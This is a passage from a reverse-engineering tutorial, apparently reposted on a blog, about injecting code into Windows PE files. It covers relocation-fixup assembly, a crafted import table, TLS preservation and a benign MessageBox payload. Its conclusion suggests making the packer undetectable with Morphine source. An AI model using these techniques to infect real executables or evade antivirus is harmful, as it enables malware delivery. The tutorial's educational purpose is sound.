        and dx,00FFFh
        add esi,[ebx]
        add esi,edx
        pop edx
_reloc_fixup_HIGH:              // IMAGE_REL_BASED_HIGH  
        dec eax
        jnz _reloc_fixup_LOW
            mov eax,edx
            shr eax,010h        //HIWORD(Delta)
            jmp _reloc_fixup_LOW_fixup        
_reloc_fixup_LOW:               // IMAGE_REL_BASED_LOW 
            dec eax
        jnz _reloc_fixup_HIGHLOW
        movzx eax,dx            //LOWORD(Delta)
_reloc_fixup_LOW_fixup:
            add word ptr [esi],ax// mem[x] = mem[x] + delta_ImageBase
        jmp _reloc_fixup_next_entry
_reloc_fixup_HIGHLOW:           // IMAGE_REL_BASED_HIGHLOW
            dec eax
        jnz _reloc_fixup_next_entry
        add [esi],edx           // mem[x] = mem[x] + delta_ImageBase
_reloc_fixup_next_entry:
        inc edi
        inc edi                 //Entry++
        loop _reloc_fixup_do_entry
_reloc_fixup_next_base:
    add ebx,[ebx+004h]
    jmp _reloc_fixup_block
_reloc_fixup_end:
    ...

7.3 Build a Special Import table

In order to support the OLE-ActiveX Control registration, we should present an appropriate import table to our target OCX and DLL file.

Therefore, I have established an import table by the following string:

Collapse
const char *sz_IT_OCX_strings[]=
{
    "Kernel32.dll",
    "LoadLibraryA",
    "GetProcAddress",
    "GetModuleHandleA",
    0,
    "User32.dll",
    "GetKeyboardType",
    "WindowFromPoint",
    0,
    "AdvApi32.dll",
    "RegQueryValueExA",
    "RegSetValueExA",
    "StartServiceA",
    0,
    "Oleaut32.dll",
    "SysFreeString",
    "CreateErrorInfo",
    "SafeArrayPtrOfIndex",
    0,
    "Gdi32.dll",
    "UnrealizeObject",
    0,
    "Ole32.dll",
    "CreateStreamOnHGlobal",
    "IsEqualGUID",
    0,
    "ComCtl32.dll",
    "ImageList_SetIconSize",
    0,
    0,
};

Without these API functions, the library can not be loaded, and moreover the DllregisterServer() and DllUregisterServer() will not operate. In CPECryptor::CryptFile, I have distinguished between EXE files and DLL files in the initialization of the new import table object during creation:

if(( image_nt_headers->FileHeader.Characteristics 
             & IMAGE_FILE_DLL ) == IMAGE_FILE_DLL )
{
    ImportTableMaker = new CITMaker( IMPORT_TABLE_OCX );
}
else
{
    ImportTableMaker = new CITMaker( IMPORT_TABLE_EXE );
}

8 Preserve the Thread Local Storage

By using Thread Local Storage (TLS), a program is able to execute a multithreaded process, this performance mostly is used by Borland linkers: Delphi and C++ Builder. When you pack a PE file, you should take care to keep clean the TLS, otherwise, your packer will not support Borland Delphi and C++ Builder linked EXE files. To comprehend TLS, I refer you to section 6.7 of the Microsoft Portable Executable and Common Object File Format Specification document, you can observe the TLS structure by IMAGE_TLS_DIRECTORY32 in winnt.h.

typedef struct _IMAGE_TLS_DIRECTORY32 {
    DWORD   StartAddressOfRawData;
    DWORD   EndAddressOfRawData;
    DWORD   AddressOfIndex;
    DWORD   AddressOfCallBacks;
    DWORD   SizeOfZeroFill;
    DWORD   Characteristics;
} IMAGE_TLS_DIRECTORY32, * PIMAGE_TLS_DIRECTORY32;

To keep safe the TLS directory, I have copied it in a special place inside the loader:

...
_tls_dwStartAddressOfRawData:   dword_type(0xCCCCCCCC)
_tls_dwEndAddressOfRawData:     dword_type(0xCCCCCCCC)
_tls_dwAddressOfIndex:          dword_type(0xCCCCCCCC)
_tls_dwAddressOfCallBacks:      dword_type(0xCCCCCCCC)
_tls_dwSizeOfZeroFill:          dword_type(0xCCCCCCCC)
_tls_dwCharacteristics:         dword_type(0xCCCCCCCC)
...

It is necessary to correct the TLS directory entry in the Optional Header:

if(image_nt_headers->
  OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].
  VirtualAddress!=0)
{
    memcpy(&pDataTable->image_tls_directory,
           image_tls_directory,
           sizeof(IMAGE_TLS_DIRECTORY32));    
    dwOffset=DWORD(pData1)-DWORD(pNewSection);
    dwOffset+=sizeof(t_DATA_1)-sizeof(IMAGE_TLS_DIRECTORY32);
    image_nt_headers->
      OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].
      VirtualAddress=dwVirtualAddress + dwOffset;
}

9 Inject your code

We are ready to place our code inside the new section. Our code is a "Hello World!" message by MessageBox() from user32.dll.

    ...
    push MB_OK | MB_ICONINFORMATION
    lea eax,[ebp+_p_szCaption]
    push eax
    lea eax,[ebp+_p_szText]
    push eax
    push NULL
    call _jmp_MessageBox
    // MessageBox(NULL, szText, szCaption, MB_OK | MB_ICONINFORMATION) ;
    ...

PE Maker - Step 5

10 Conclusion

By this article, you have perceived how easily we can inject code to a portable executable file. You can complete the code by using the source of other packers, create a packer in the same way as Yoda's Protector, and make your packer undetectable by mixing up with Morphine source code. I hope that you have enjoyed this brief discussion of one part of the reverse engineering field. See you again in the next discussion!

License

This article, along with any associated source code and files, is licensed under The GNU General Public License (GPL)

'Hacking' 카테고리의 다른 글

SQL injection  (0) 2008.10.03
Geek to Live: Encrypt your web browsing session (with an SSH SOCKS proxy)  (0) 2008.09.29
PE format  (0) 2008.09.24
System Infomation WINDOWS And LINUX  (0) 2008.09.24
Debugging of DLLs  (0) 2008.09.23
Posted by CEOinIRVINE
l